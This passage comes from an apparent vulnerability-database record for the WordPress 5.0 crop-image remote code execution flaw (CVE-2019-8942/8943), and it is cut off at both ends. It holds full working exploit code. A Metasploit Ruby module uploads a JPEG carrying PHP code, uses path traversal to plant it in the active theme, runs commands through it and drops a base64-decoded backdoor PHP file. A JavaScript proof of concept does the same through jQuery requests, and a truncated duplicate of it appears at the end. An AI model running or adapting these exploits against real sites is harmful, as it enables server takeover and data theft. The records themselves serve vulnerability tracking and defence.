\"trash\",\r\n 'post_type' => 'post',\r\n '_wpnonce' => post_nonce\r\n }\r\n )\r\n\r\n if res && res.code == 200 && res.body && !res.body.empty?\r\n nonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\\w+)/).flatten.first\r\n fail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce\r\n\r\n send_request_cgi(\r\n 'method' => 'GET',\r\n 'uri' => uri2,\r\n 'cookie' => cookie,\r\n 'vars_get' => {\r\n 'post' => post_id,\r\n 'action' => 'delete',\r\n '_wpnonce' => nonce\r\n }\r\n )\r\n end\r\n end\r\n end\r\n\r\n def exploit\r\n fail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online?\r\n\r\n print_status(\"Authenticating with WordPress using #{username}:#{password}...\")\r\n cookie = wordpress_login(username, password)\r\n fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?\r\n print_good(\"Authenticated with WordPress\")\r\n store_valid_credential(user: username, private: password, proof: cookie)\r\n\r\n print_status(\"Preparing payload...\")\r\n @current_theme = get_current_theme\r\n wp_nonce = get_wpnonce(cookie)\r\n @current_date = Time.now.strftime(\"%Y/%m/\")\r\n\r\n img_name = Rex::Text.rand_text_alpha(10)\r\n @filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie)\r\n ajax_nonce = get_ajaxnonce(cookie)\r\n\r\n @filename1 = image_editor(img_name, ajax_nonce, image_id, cookie)\r\n wpnonce2 = get_wpnonce2(image_id, cookie)\r\n\r\n change_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie)\r\n crop_image(image_id, ajax_nonce, cookie)\r\n\r\n @shell_name = Rex::Text.rand_text_alpha(10)\r\n change_path(wpnonce2, image_id, @filename1, @current_date, \"?/../../../../themes/#{@current_theme}/#{@shell_name}\", cookie)\r\n crop_image(image_id, ajax_nonce, cookie)\r\n\r\n print_status(\"Including into theme\")\r\n post_id = include_theme(@shell_name, cookie)\r\n\r\n check_for_base64(cookie, post_id)\r\n wp_cleanup(@shell_name, post_id, cookie)\r\n end\r\n\r\n def on_new_session(client)\r\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\")\r\n client.shell_command_token(\"rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg\")\r\n client.shell_command_token(\"rm #{@backdoor}.php\")\r\n end\r\nend", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/46662"}, {"lastseen": "2019-03-07T22:40:03", "description": "", "published": "2019-03-01T00:00:00", "type": "exploitdb", "title": "WordPress Core 5.0 - Remote Code Execution", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "modified": "2019-03-01T00:00:00", "id": "EDB-ID:46511", "href": "https://www.exploit-db.com/exploits/46511", "sourceData": "var wpnonce = '';\r\nvar ajaxnonce = '';\r\nvar wp_attached_file = '';\r\nvar imgurl = '';\r\nvar postajaxdata = '';\r\nvar post_id = 0;\r\nvar cmd = '<?php phpinfo();/*';\r\nvar cmdlen = cmd.length\r\nvar payload = '\\xff\\xd8\\xff\\xed\\x004Photoshop 3.0\\x008BIM\\x04\\x04'+'\\x00'.repeat(5)+'\\x17\\x1c\\x02\\x05\\x00\\x07PAYLOAD\\x00\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x01\\x00`\\x00`\\x00\\x00\\xff\\xdb\\x00C\\x00\\x06\\x04\\x05\\x06\\x05\\x04\\x06\\x06\\x05\\x06\\x07\\x07\\x06\\x08\\x0a\\x10\\x0a\\x0a\\x09\\x09\\x0a\\x14\\x0e\\x0f\\x0c\\x10\\x17\\x14\\x18\\x18\\x17\\x14\\x16\\x16\\x1a\\x1d%\\x1f\\x1a\\x1b#\\x1c\\x16\\x16 , #&\\x27)*)\\x19\\x1f-0-(0%()(\\xff\\xc0\\x00\\x0b\\x08\\x00\\x01\\x00\\x01\\x01\\x01\\x11\\x00\\xff\\xc4\\x00\\x14\\x00\\x01'+'\\x00'.repeat(15)+'\\x08\\xff\\xc4\\x00\\x14\\x10\\x01'+'\\x00'.repeat(16)+'\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x00?\\x00T\\xbf\\xff\\xd9';\r\nvar img = payload.replace('\\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);\r\nvar byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});\r\nvar attachurl = '/wp-admin/media-new.php';\r\nvar uploadurl = '/wp-admin/async-upload.php';\r\nvar editattachurl = '/wp-admin/post.php?post=PID&action=edit';\r\nvar editposturl = '/wp-admin/post.php';\r\nvar addposturl = '/wp-admin/post-new.php';\r\nvar cropurl = '/wp-admin/admin-ajax.php';\r\nconsole.log(\"Get wpnonce token.\");\r\njQuery.get(attachurl, function(data) {\r\n wpnonce = jQuery(data).find('#file-form #_wpnonce').val();\r\n if(wpnonce) {\r\n console.log(\"Success! wpnonce: \" + wpnonce);\r\n var postdata = new FormData();\r\n postdata.append('name', 'ebaldremal.jpg');\r\n postdata.append('post_id', post_id);\r\n postdata.append('_wpnonce', wpnonce);\r\n postdata.append('short', 1);\r\n // file\r\n var phpimage = new File([byteArray], 'ebaldremal.jpg');\r\n postdata.append('async-upload', phpimage);\r\n console.log(\"Upload image with shell.\");\r\n jQuery.ajax({\r\n url: uploadurl,\r\n data: postdata,\r\n cache: false,\r\n contentType: false,\r\n processData: false,\r\n method: 'POST',\r\n success: function(data){\r\n if(jQuery.isNumeric(data)) {\r\n post_id = data;\r\n console.log(\"Success! Attach ID: \" + post_id);\r\n console.log(\"Get wpnonce for edit post, ajax_nonce for crop and URL for fun.\");\r\n jQuery.get(editattachurl.replace('PID', post_id), function(data) {\r\n var btnid = \"#imgedit-open-btn-\" + post_id;\r\n wpnonce = jQuery(data).find('#post #_wpnonce').val();\r\n ajaxnonce = jQuery(data).find(btnid).attr('onclick').match(/[a-f0-9]{10}/)[0];\r\n imgurl = new URL(jQuery(data).find('#attachment_url').val());\r\n wp_attached_file = imgurl.pathname.match(/uploads\\/(.*)/)[1] + \"?/any\";\r\n console.log(\"Success! wpnonce: \" + wpnonce + \", ajaxnonce: \" + ajaxnonce);\r\n if(wpnonce && ajaxnonce) {\r\n console.log(\"Update _wp_attached_file meta key to: \" + wp_attached_file);\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'meta_input[_wp_attached_file]': wp_attached_file\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Crop image for create help folder.\");\r\n postajaxdata = {\r\n '_ajax_nonce': ajaxnonce,\r\n 'action': 'crop-image',\r\n 'id': post_id,\r\n 'cropDetails[width]': 1,\r\n 'cropDetails[height]': 1\r\n }\r\n jQuery.post(cropurl, postajaxdata, function(data){\r\n console.log(\"Success! Help directory created.\");\r\n wp_attached_file = imgurl.pathname.match(/uploads\\/(.*)/)[1] + \"?/../../../../themes/twentynineteen/owned\";\r\n console.log(\"Update _wp_attached_file meta key to: \" + wp_attached_file);\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'meta_input[_wp_attached_file]': wp_attached_file\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Crop image for create evil jpg image inside twentynineteen theme folder.\");\r\n jQuery.post(cropurl, postajaxdata, function(data){\r\n console.log(\"Success!\");\r\n console.log(\"Get wpnonce for create new post.\");\r\n jQuery.get(addposturl, function(data){\r\n console.log(\"Create new post and use evil jpg image as template.\");\r\n if(jQuery(data).find('form.metabox-base-form').length) {\r\n wpnonce = jQuery(data).find('form.metabox-base-form #_wpnonce').val();\r\n post_id = jQuery(data).find('form.metabox-base-form #post_ID').val();\r\n } else {\r\n wpnonce = jQuery(data).find('#post #_wpnonce').val();\r\n post_id = jQuery(data).find('#post #post_ID').val();\r\n }\r\n postdata = {\r\n '_wpnonce': wpnonce,\r\n 'action': 'editpost',\r\n 'post_ID': post_id,\r\n 'post_title': 'RCE-HERE',\r\n 'visibility': 'public',\r\n 'publish': 'Publish',\r\n 'meta_input[_wp_page_template]': 'cropped-owned.jpg'\r\n }\r\n jQuery.post(editposturl, postdata, function(data){\r\n console.log(\"Success! Browse post with id = \" + post_id + \" to trigger RCE.\")\r\n console.log(\"Trying to open: \" + imgurl.origin + \"/?p=\" + post_id + \")\");\r\n window.open(imgurl.origin + \"/?p=\" + post_id, '_blank');\r\n });\r\n });\r\n });\r\n });\r\n });\r\n });\r\n }\r\n });\r\n }\r\n }\r\n });\r\n }\r\n});", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/46511"}], "packetstorm": [{"lastseen": "2019-04-05T14:34:08", "description": "", "published": "2019-04-04T00:00:00", "type": "packetstorm", "title": "WordPress 5.0.0 crop-image Shell Upload", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "modified": "2019-04-04T00:00:00", "id": "PACKETSTORM:152396", "href": "https://packetstormsecurity.com/files/152396/WordPress-5.0.0-crop-image-Shell-Upload.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Remote \nRank = ExcellentRanking \n \ninclude Msf::Exploit::FileDropper \ninclude Msf::Exploit::Remote::HTTP::Wordpress \n \ndef initialize(info = {}) \nsuper(update_info( \ninfo, \n'Name' => 'WordPress Crop-image Shell Upload', \n'Description' => %q{ \nThis module exploits a path traversal and a local file inclusion \nvulnerability on WordPress versions 5.0.0 and <= 4.9.8. \nThe crop-image function allows a user, with at least author privileges, \nto resize an image and perform a path traversal by changing the _wp_attached_file \nreference during the upload. The second part of the exploit will include \nthis image in the current theme by changing the _wp_page_template attribute \nwhen creating a post. \n \nThis exploit module only works for Unix-based systems currently. \n}, \n'License' => MSF_LICENSE, \n'Author' => \n[ \n'RIPSTECH Technology', # Discovery \n'Wilfried Becard <wilfried.becard@synacktiv.com>' # Metasploit module \n], \n'References' => \n[ \n[ 'CVE', '2019-8942' ], \n[ 'CVE', '2019-8943' ], \n[ 'URL', 'https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/'] \n], \n'DisclosureDate' => 'Feb 19 2019', \n'Platform' => 'php', \n'Arch' => ARCH_PHP, \n'Targets' => [['WordPress', {}]], \n'DefaultTarget' => 0 \n)) \n \nregister_options( \n[ \nOptString.new('USERNAME', [true, 'The WordPress username to authenticate with']), \nOptString.new('PASSWORD', [true, 'The WordPress password to authenticate with']) \n]) \nend \n \ndef check \ncookie = wordpress_login(username, password) \nif cookie.nil? \nstore_valid_credential(user: username, private: password, proof: cookie) \nreturn CheckCode::Safe \nend \n \nCheckCode::Appears \nend \n \ndef username \ndatastore['USERNAME'] \nend \n \ndef password \ndatastore['PASSWORD'] \nend \n \ndef get_wpnonce(cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'media-new.php') \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => uri, \n'cookie' => cookie \n) \nif res && res.code == 200 && res.body && !res.body.empty? \nres.get_hidden_inputs.first[\"_wpnonce\"] \nend \nend \n \ndef get_wpnonce2(image_id, cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => uri, \n'cookie' => cookie, \n'vars_get' => { \n'post' => image_id, \n'action' => \"edit\" \n} \n) \nif res && res.code == 200 && res.body && !res.body.empty? \ntmp = res.get_hidden_inputs \nwpnonce2 = tmp[1].first[1] \nend \nend \n \ndef get_current_theme \nuri = normalize_uri(datastore['TARGETURI']) \nres = send_request_cgi!( \n'method' => 'GET', \n'uri' => uri \n) \nfail_with(Failure::NotFound, 'Failed to access Wordpress page to retrieve theme.') unless res && res.code == 200 && res.body && !res.body.empty? \n \ntheme = res.body.scan(/\\/wp-content\\/themes\\/(\\w+)\\//).flatten.first \nfail_with(Failure::NotFound, 'Failed to retrieve theme') unless theme \n \ntheme \nend \n \ndef get_ajaxnonce(cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'action' => 'query-attachments', \n'post_id' => '0', \n'query[item]' => '43', \n'query[orderby]' => 'date', \n'query[order]' => 'DESC', \n'query[posts_per_page]' => '40', \n'query[paged]' => '1' \n} \n) \nfail_with(Failure::NotFound, 'Unable to reach page to retrieve the ajax nonce') unless res && res.code == 200 && res.body && !res.body.empty? \na_nonce = res.body.scan(/\"edit\":\"(\\w+)\"/).flatten.first \nfail_with(Failure::NotFound, 'Unable to retrieve the ajax nonce') unless a_nonce \n \na_nonce \nend \n \ndef upload_file(img_name, wp_nonce, cookie) \nimg_data = %w[ \nFF D8 FF E0 00 10 4A 46 49 46 00 01 01 01 00 60 00 60 00 00 FF ED 00 38 50 68 6F \n74 6F 73 68 6F 70 20 33 2E 30 00 38 42 49 4D 04 04 00 00 00 00 00 1C 1C 02 74 00 \n10 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B 3F 3E 1C 02 00 00 02 00 04 FF FE 00 \n3B 43 52 45 41 54 4F 52 3A 20 67 64 2D 6A 70 65 67 20 76 31 2E 30 20 28 75 73 69 \n6E 67 20 49 4A 47 20 4A 50 45 47 20 76 38 30 29 2C 20 71 75 61 6C 69 74 79 20 3D \n20 38 32 0A FF DB 00 43 00 06 04 04 05 04 04 06 05 05 05 06 06 06 07 09 0E 09 09 \n08 08 09 12 0D 0D 0A 0E 15 12 16 16 15 12 14 14 17 1A 21 1C 17 18 1F 19 14 14 1D \n27 1D 1F 22 23 25 25 25 16 1C 29 2C 28 24 2B 21 24 25 24 FF DB 00 43 01 06 06 06 \n09 08 09 11 09 09 11 24 18 14 18 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 \n24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 24 \n24 24 24 24 24 24 24 FF C0 00 11 08 00 C0 01 06 03 01 22 00 02 11 01 03 11 01 FF \nC4 00 1F 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 \n07 08 09 0A 0B FF C4 00 B5 10 00 02 01 03 03 02 04 03 05 05 04 04 00 00 01 7D 01 \n02 03 00 04 11 05 12 21 31 41 06 13 51 61 07 22 71 14 32 81 91 A1 08 23 42 B1 C1 \n15 52 D1 F0 24 33 62 72 82 09 0A 16 17 18 19 1A 25 26 27 28 29 2A 34 35 36 37 38 \n39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A 73 \n74 75 76 77 78 79 7A 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 A3 A4 \nA5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 D3 D4 \nD5 D6 D7 D8 D9 DA E1 E2 E3 E4 E5 E6 E7 E8 E9 EA F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FF \nC4 00 1F 01 00 03 01 01 01 01 01 01 01 01 01 00 00 00 00 00 00 01 02 03 04 05 06 \n07 08 09 0A 0B FF C4 00 B5 11 00 02 01 02 04 04 03 04 07 05 04 04 00 01 02 77 00 \n01 02 03 11 04 05 21 31 06 12 41 51 07 61 71 13 22 32 81 08 14 42 91 A1 B1 C1 09 \n23 33 52 F0 15 62 72 D1 0A 16 24 34 E1 25 F1 17 18 19 1A 26 27 28 29 2A 35 36 37 \n38 39 3A 43 44 45 46 47 48 49 4A 53 54 55 56 57 58 59 5A 63 64 65 66 67 68 69 6A \n73 74 75 76 77 78 79 7A 82 83 84 85 86 87 88 89 8A 92 93 94 95 96 97 98 99 9A A2 \nA3 A4 A5 A6 A7 A8 A9 AA B2 B3 B4 B5 B6 B7 B8 B9 BA C2 C3 C4 C5 C6 C7 C8 C9 CA D2 \nD3 D4 D5 D6 D7 D8 D9 DA E2 E3 E4 E5 E6 E7 E8 E9 EA F2 F3 F4 F5 F6 F7 F8 F9 FA FF \nDA 00 0C 03 01 00 02 11 03 11 00 3F 00 3C 3F 3D 60 24 5F 47 45 54 5B 30 5D 60 3B \n3F 3E \n] \nimg_data = [img_data.join].pack('H*') \nimg_name += '.jpg' \n \nboundary = \"#{rand_text_alphanumeric(rand(10) + 5)}\" \npost_data = \"--#{boundary}\\r\\n\" \npost_data << \"Content-Disposition: form-data; name=\\\"name\\\"\\r\\n\" \npost_data << \"\\r\\n#{img_name}\\r\\n\" \npost_data << \"--#{boundary}\\r\\n\" \npost_data << \"Content-Disposition: form-data; name=\\\"action\\\"\\r\\n\" \npost_data << \"\\r\\nupload-attachment\\r\\n\" \npost_data << \"--#{boundary}\\r\\n\" \npost_data << \"Content-Disposition: form-data; name=\\\"_wpnonce\\\"\\r\\n\" \npost_data << \"\\r\\n#{wp_nonce}\\r\\n\" \npost_data << \"--#{boundary}\\r\\n\" \npost_data << \"Content-Disposition: form-data; name=\\\"async-upload\\\"; filename=\\\"#{img_name}\\\"\\r\\n\" \npost_data << \"Content-Type: image/jpeg\\r\\n\" \npost_data << \"\\r\\n#{img_data}\\r\\n\" \npost_data << \"--#{boundary}--\\r\\n\" \nprint_status(\"Uploading payload\") \nupload_uri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'async-upload.php') \n \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => upload_uri, \n'ctype' => \"multipart/form-data; boundary=#{boundary}\", \n'data' => post_data, \n'cookie' => cookie \n) \nfail_with(Failure::UnexpectedReply, 'Unable to upload image') unless res && res.code == 200 && res.body && !res.body.empty? \nprint_good(\"Image uploaded\") \nres = JSON.parse(res.body) \nimage_id = res[\"data\"][\"id\"] \nupdate_nonce = res[\"data\"][\"nonces\"][\"update\"] \nfilename = res[\"data\"][\"filename\"] \nreturn filename, image_id, update_nonce \nend \n \ndef image_editor(img_name, ajax_nonce, image_id, cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'action' => 'image-editor', \n'_ajax_nonce' => ajax_nonce, \n'postid' => image_id, \n'history' => '[{\"c\":{\"x\":0,\"y\":0,\"w\":400,\"h\":300}}]', \n'target' => 'all', \n'context' => '', \n'do' => 'save' \n} \n) \nfail_with(Failure::NotFound, 'Unable to access page to retrieve filename') unless res && res.code == 200 && res.body && !res.body.empty? \nfilename = res.body.scan(/(#{img_name}-\\S+)-/).flatten.first \nfail_with(Failure::NotFound, 'Unable to retrieve file name') unless filename \n \nfilename << '.jpg' \nend \n \ndef change_path(wpnonce2, image_id, filename, current_date, path, cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'_wpnonce' => wpnonce2, \n'action' => 'editpost', \n'post_ID' => image_id, \n'meta_input[_wp_attached_file]' => \"#{current_date}#{filename}#{path}\" \n} \n) \nend \n \ndef crop_image(image_id, ajax_nonce, cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'action' => 'crop-image', \n'_ajax_nonce' => ajax_nonce, \n'id' => image_id, \n'cropDetails[x1]' => 0, \n'cropDetails[y1]' => 0, \n'cropDetails[width]' => 400, \n'cropDetails[height]' => 300, \n'cropDetails[dst_width]' => 400, \n'cropDetails[dst_height]' => 300 \n} \n) \nend \n \ndef include_theme(shell_name, cookie) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post-new.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie \n) \nif res && res.code == 200 && res.body && !res.body.empty? \nwpnonce2 = res.body.scan(/name=\"_wpnonce\" value=\"(\\w+)\"/).flatten.first \npost_id = res.body.scan(/\"post\":{\"id\":(\\w+),/).flatten.first \nfail_with(Failure::NotFound, 'Unable to retrieve the second wpnonce and the post id') unless wpnonce2 && post_id \n \npost_title = Rex::Text.rand_text_alpha(10) \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'_wpnonce'=> wpnonce2, \n'action' => 'editpost', \n'post_ID' => post_id, \n'post_title' => post_title, \n'post_name' => post_title, \n'meta_input[_wp_page_template]' => \"cropped-#{shell_name}.jpg\" \n} \n) \nfail_with(Failure::NotFound, 'Failed to retrieve post id') unless res && res.code == 302 \npost_id \nend \nend \n \ndef check_for_base64(cookie, post_id) \nuri = normalize_uri(datastore['TARGETURI']) \n# Test if base64 is on target \ntest_string = 'YmFzZTY0c3BvdHRlZAo=' \nres = send_request_cgi!( \n'method' => 'GET', \n'uri' => uri, \n'cookie' => cookie, \n'vars_get' => { \n'p' => post_id, \n'0' => \"echo #{test_string} | base64 -d\" \n} \n) \nfail_with(Failure::NotFound, 'Unable to retrieve response to base64 command') unless res && res.code == 200 && !res.body.empty? \n \nfail_with(Failure::NotFound, \"Can't find base64 decode on target\") unless res.body.include?(\"base64spotted\") \n# Execute payload with base64 decode \n@backdoor = Rex::Text.rand_text_alpha(10) \nencoded = Rex::Text.encode_base64(payload.encoded) \nres = send_request_cgi!( \n'method' => 'GET', \n'uri' => uri, \n'cookie' => cookie, \n'vars_get' => { \n'p' => post_id, \n'0' => \"echo #{encoded} | base64 -d > #{@backdoor}.php\" \n} \n) \n \nfail_with(Failure::NotFound, 'Failed to send payload to target') unless res && res.code == 200 && !res.body.empty? \nsend_request_cgi( \n'method' => 'GET', \n'uri' => normalize_uri(datastore['TARGETURI'], \"#{@backdoor}.php\"), \n'cookie' => cookie \n) \nend \n \ndef wp_cleanup(shell_name, post_id, cookie) \nprint_status('Attempting to clean up files...') \nuri = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php') \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { 'action' => \"query-attachments\" } \n) \n \nfail_with(Failure::NotFound, 'Failed to receive a response for uploaded file') unless res && res.code == 200 && !res.body.empty? \ninfos = res.body.scan(/id\":(\\d+),.*filename\":\"cropped-#{shell_name}\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"cropped-x\".*?\"delete\":\"(\\w+)\".*\"id\":(\\d+),.*filename\":\"#{shell_name}\".*?\"delete\":\"(\\w+)\"/).flatten \nid1, id2, id3 = infos[0], infos[2], infos[4] \ndelete_nonce1, delete_nonce2, delete_nonce3 = infos[1], infos[3], infos[5] \nfor i in (0...6).step(2) \nres = send_request_cgi( \n'method' => 'POST', \n'uri' => uri, \n'cookie' => cookie, \n'vars_post' => { \n'action' => \"delete-post\", \n'id' => infos[i], \n'_wpnonce' => infos[i+1] \n} \n) \nend \n \nuri1 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'edit.php') \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => uri1, \n'cookie' => cookie \n) \n \nif res && res.code == 200 && res.body && !res.body.empty? \npost_nonce = res.body.scan(/post=#{post_id}&action=trash&_wpnonce=(\\w+)/).flatten.first \nfail_with(Failure::NotFound, 'Unable to retrieve post nonce') unless post_nonce \nuri2 = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'post.php') \n \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => uri2, \n'cookie' => cookie, \n'vars_get' => { \n'post' => post_id, \n'action' => 'trash', \n'_wpnonce' => post_nonce \n} \n) \n \nfail_with(Failure::NotFound, 'Unable to retrieve response') unless res && res.code == 302 \nres = send_request_cgi( \n'method' => 'GET', \n'uri' => uri1, \n'cookie' => cookie, \n'vars_get' => { \n'post_status' => \"trash\", \n'post_type' => 'post', \n'_wpnonce' => post_nonce \n} \n) \n \nif res && res.code == 200 && res.body && !res.body.empty? \nnonce = res.body.scan(/post=#{post_id}&action=delete&_wpnonce=(\\w+)/).flatten.first \nfail_with(Failure::NotFound, 'Unable to retrieve nonce') unless nonce \n \nsend_request_cgi( \n'method' => 'GET', \n'uri' => uri2, \n'cookie' => cookie, \n'vars_get' => { \n'post' => post_id, \n'action' => 'delete', \n'_wpnonce' => nonce \n} \n) \nend \nend \nend \n \ndef exploit \nfail_with(Failure::NotFound, 'The target does not appear to be using WordPress') unless wordpress_and_online? \n \nprint_status(\"Authenticating with WordPress using #{username}:#{password}...\") \ncookie = wordpress_login(username, password) \nfail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? \nprint_good(\"Authenticated with WordPress\") \nstore_valid_credential(user: username, private: password, proof: cookie) \n \nprint_status(\"Preparing payload...\") \n@current_theme = get_current_theme \nwp_nonce = get_wpnonce(cookie) \n@current_date = Time.now.strftime(\"%Y/%m/\") \n \nimg_name = Rex::Text.rand_text_alpha(10) \n@filename1, image_id, update_nonce = upload_file(img_name, wp_nonce, cookie) \najax_nonce = get_ajaxnonce(cookie) \n \n@filename1 = image_editor(img_name, ajax_nonce, image_id, cookie) \nwpnonce2 = get_wpnonce2(image_id, cookie) \n \nchange_path(wpnonce2, image_id, @filename1, @current_date, '?/x', cookie) \ncrop_image(image_id, ajax_nonce, cookie) \n \n@shell_name = Rex::Text.rand_text_alpha(10) \nchange_path(wpnonce2, image_id, @filename1, @current_date, \"?/../../../../themes/#{@current_theme}/#{@shell_name}\", cookie) \ncrop_image(image_id, ajax_nonce, cookie) \n \nprint_status(\"Including into theme\") \npost_id = include_theme(@shell_name, cookie) \n \ncheck_for_base64(cookie, post_id) \nwp_cleanup(@shell_name, post_id, cookie) \nend \n \ndef on_new_session(client) \nclient.shell_command_token(\"rm wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\") \nclient.shell_command_token(\"rm wp-content/uploads/#{@current_date}cropped-#{@filename1[0...10]}*\") \nclient.shell_command_token(\"rm -r wp-content/uploads/#{@current_date}#{@filename1[0...10]}*\") \nclient.shell_command_token(\"rm wp-content/themes/#{@current_theme}/cropped-#{@shell_name}.jpg\") \nclient.shell_command_token(\"rm #{@backdoor}.php\") \nend \nend \n`\n", "cvss": {"score": 6.5, "vector": "AV:NETWORK/AC:LOW/Au:SINGLE_INSTANCE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://packetstormsecurity.com/files/download/152396/wp_crop_rce.rb.txt"}], "zdt": [{"lastseen": "2019-03-09T04:48:45", "description": "Exploit for php platform in category web applications", "edition": 1, "published": "2019-03-08T00:00:00", "title": "WordPress Core 5.0 - Remote Code Execution Exploit", "type": "zdt", "bulletinFamily": "exploit", "cvelist": ["CVE-2019-8943", "CVE-2019-8942"], "modified": "2019-03-08T00:00:00", "id": "1337DAY-ID-32325", "href": "https://0day.today/exploit/description/32325", "sourceData": "WordPress Core 5.0 - Remote Code Execution Exploit\r\n\r\nvar wpnonce = '';\r\nvar ajaxnonce = '';\r\nvar wp_attached_file = '';\r\nvar imgurl = '';\r\nvar postajaxdata = '';\r\nvar post_id = 0;\r\nvar cmd = '<?php phpinfo();/*';\r\nvar cmdlen = cmd.length\r\nvar payload = '\\xff\\xd8\\xff\\xed\\x004Photoshop 3.0\\x008BIM\\x04\\x04'+'\\x00'.repeat(5)+'\\x17\\x1c\\x02\\x05\\x00\\x07PAYLOAD\\x00\\xff\\xe0\\x00\\x10JFIF\\x00\\x01\\x01\\x01\\x00`\\x00`\\x00\\x00\\xff\\xdb\\x00C\\x00\\x06\\x04\\x05\\x06\\x05\\x04\\x06\\x06\\x05\\x06\\x07\\x07\\x06\\x08\\x0a\\x10\\x0a\\x0a\\x09\\x09\\x0a\\x14\\x0e\\x0f\\x0c\\x10\\x17\\x14\\x18\\x18\\x17\\x14\\x16\\x16\\x1a\\x1d%\\x1f\\x1a\\x1b#\\x1c\\x16\\x16 , #&\\x27)*)\\x19\\x1f-0-(0%()(\\xff\\xc0\\x00\\x0b\\x08\\x00\\x01\\x00\\x01\\x01\\x01\\x11\\x00\\xff\\xc4\\x00\\x14\\x00\\x01'+'\\x00'.repeat(15)+'\\x08\\xff\\xc4\\x00\\x14\\x10\\x01'+'\\x00'.repeat(16)+'\\xff\\xda\\x00\\x08\\x01\\x01\\x00\\x00?\\x00T\\xbf\\xff\\xd9';\r\nvar img = payload.replace('\\x07PAYLOAD', String.fromCharCode(cmdlen) + cmd);\r\nvar byteArray = Uint8Array.from(img, function(c){return c.codePointAt(0);});\r\nvar attachurl = '/wp-admin/media-new.php';\r\nvar uploadurl = '/wp-admin/async-upload.php';\r\nvar editattachurl = '/wp-admin/post.php?post=PID&action=edit';\r\nvar editposturl = '/wp-admin/post.php';\r\nvar addposturl = '/wp-admin/post-new.php';\r\nvar cropurl = '/wp-admin/admin-ajax.php';\r\nconsole.log(\"Get wpnonce 